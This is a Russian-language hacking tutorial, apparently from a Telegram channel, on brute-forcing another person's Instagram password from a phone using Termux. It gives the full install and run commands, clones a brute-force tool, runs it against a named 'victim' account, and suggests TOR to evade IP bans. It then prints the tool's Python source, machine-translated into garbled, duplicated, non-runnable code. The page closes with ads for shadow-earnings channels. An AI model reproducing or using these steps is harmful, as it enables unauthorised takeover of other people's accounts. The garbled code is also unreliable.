full
by ИнкогнитоВзлом Instagram с телефона. Атака BruteForce в Termux
.
Перед прочтением, я создал отдельный канал где буду проводить вебинар и это твой шанс попасть ко мне в команду и начать зарабатывать - ТЫК
Хелоу инкогнито !!! Сегодня я расскажу вам, как взломать инстаграм с помощью вашей трубки!
Итак приступим.
Brute Force - атака массового автоматического перебора паролей. Это очень наглая атака, поэтому советую использовать анонимную сеть TOR. В ином случае вы можете забанить по ip адресу.
Termux, он есть даже в Play Market
Всё ссылки тут:
https://t.me/joinchat/AAAAAFEHEN-8eu8a7414bw
Заходим в него и видим:
Теперь поочерёдно вписываем команды: (иногда, когда Y / N пишем Y и нажимаем Enter)
Пакет обновления
обновление pkg
pkg установить git
pkg установить нано
pkg установить python
написать на установку pip
pip install bsa4
pip install colorama
git clone https://github.com/Pure-L0G1C/Instagram
cd Instagram
chmod + x *
nano pass.txt
⚠️⚠️⚠️ВНИМАНИЕ⚠️⚠️⚠️
Мы вставляем пароли. Как я уже писал, хакерское приложение, которое их создаст.
И все-таки, пока вы единственный источник:
"Https://t.me/wannadeauth/112"
Если это вам сложно, прилагаю уже готовые, собранные брут словари:
https://t.me/joinchat/AAAAAFEHEN-8eu8a7414bw
Короче копируем и вставляем в то пустое поле
Далее:
Нажимаем комбинацию
Ctrl + C
Далее Y
И два Вход
Всё!
Осталось запустить брут
Пишем
python instagram.py (логин жертвы) pass.txt
У меня жертва будет
ahmet123
Будет выглядеть:
python instagram.py ahmet123 pass.txt
Все!
Пароль, если он есть в базе
В будущем, расскажу про фишинг.
Исходный код:
из sys import exit
из os.path импорт существует
из lib.bruter импортировать брутер
из lib.display import Display
из платформы импорта python_version
из lib.const импорт учетных данных, режимы
из argparse import ArgumentParser, ArgumentTypeError
Двигатель класса (объект):
def __init __ (self, username, threads, passlist_path, is_color):
self.bruter = нет
self.resume = False
self.is_alive = True
self.threads = threads
self.username = имя пользователя
self.passlist_path = passlist_path
self.display = Показать (is_color = is_color)
def passlist_path_exists (self):
если не существует (self.passlist_path):
self.display.warning («Неверный путь к списку паролей»)
вернуть Ложь
верните True
def create_bruter (self):
self.bruter = Bruter (
self.username,
self.threads,
self.passlist_path
)
def get_user_resp (self):
return self.display.prompt («Хотите возобновить атаку? [y / n]:»)
def write_to_file (self, password):
с открытым (учетные данные, 'at') как f:
data = 'Имя пользователя: {} \ nПароль: {} \ n \ n'.format (
self.username.title (), пароль)
f.write (данные)
def start (self):
если не self.passlist_path_exists ():
self.is_alive = False
если self.is_alive:
self.create_bruter ()
пока self.is_alive, а не self.bruter.password_manager.session:
проходить
если не self.is_alive:
возвращение
если self.bruter.password_manager.session.exists:
пытаться:
resp = self.get_user_resp ()
Кроме:
self.is_alive = False
если соответственно и self.is_alive:
if resp.strip (). lower () == 'y':
self.bruter.password_manager.resume = True
пытаться:
self.bruter.start ()
кроме KeyboardInterrupt:
self.bruter.stop ()
self.bruter.display.shutdown (self.bruter.last_password,
self.bruter.password_manager.attempts, len (self.bruter.browsers))
наконец-то:
self.stop ()
def stop (self):
если self.is_alive:
self.bruter.stop ()
self.is_alive = False
если self.bruter.password_manager.is_read и не self.bruter.is_found и не self.bruter.password_manager>
self.bruter.display.stats_not_found (self.bruter.last_password,
self.bruter.password_manager.attempts, len (self.bruter.browsers))
если self.bruter.is_found:
self.write_to_file (self.bruter.password)
self.bruter.display.stats_found (self.bruter.password,
self.bruter.password_manager.attempts, len (self.bruter.browsers))
def valid_int (n):
если не n.isdigit ():
поднять ArgumentTypeError («режим должен быть числом»)
n = int (n)
если n> 3:
поднять ArgumentTypeError («максимум для режима 3»)
если n <0:
поднять ArgumentTypeError («минимум для режима равенства 0»)
вернуть п
def stop (self):
если self.is_alive:
self.bruter.stop ()
self.is_alive = False
если self.bruter.password_manager.is_read, не self.bruter.is_found и не self.bruter.password_manager.list_size:
self.bruter.display.stats_not_found (self.bruter.last_password,
self.bruter.password_manager.attempts, len (self.bruter.browsers))
если self.bruter.is_found:
self.write_to_file (self.bruter.password)
self.bruter.display.stats_found (self.bruter.password,
self.bruter.password_manager.attempts, len (self.bruter.browsers))
def valid_int (n):
если не n.isdigit ():
поднять ArgumentTypeError («режим должен быть числом»)
n = int (n)
если n> 3:
поднять ArgumentTypeError («максимум для режима 3»)
если n <0:
поднять ArgumentTypeError («минимум для режима равенства 0»)
вернуть п
def args ():
args = ArgumentParser ()
args.add_argument ('username', help = 'email или username')
args.add_argument ('passlist', help = 'список паролей')
args.add_argument ('- nc', '--no-color', dest = 'color',
action = 'store_true', help = 'отключить цвета')
args.add_argument ('- m', '--mode', default = 2, type = valid_int,
help = 'mode: 0 => 32 ботов; 1 => 16 ботов; 2 => 8 ботов; 3 => 4 бота
возврат args.parse_args ()
если __name__ == '__main__':
если int (python_version () [0]) <3:
print ('[!] Пожалуйста, используйте Python 3')
Выход ()
arugments = args ()
mode = arugments.mode
имя пользователя = arugments.username
passlist = arugments.passlist
is_color = True, если не arugments.color else False
Engine (имя пользователя, режимы [mode], passlist, is_color) .start ()
Как вы поняли , мы будем использовать шаблон данной программы, чтобы сделать свою, с автоматической генерацией паролей.
Мы написали в ручную.
ОБЯЗАТЕЛЬНО ПОСЕЩЕНИЕ НАШЕГО ВЕБИНАРА - ТЫК
Dark Arbitrage - тренд 2020 года, ниша где крутятся огромные бабки! Топ 1 в сфере теневого арбитража!
awen - не забываем подписываться на наш второй канал!
Chatex - лучший обменник в телеграмме
World of Dogs — клановые бои, рейды, более 1000 вещей, которые можно продать за реальные деньги.
BLACK - место, где ты заработаешь 100.000 уже через месяц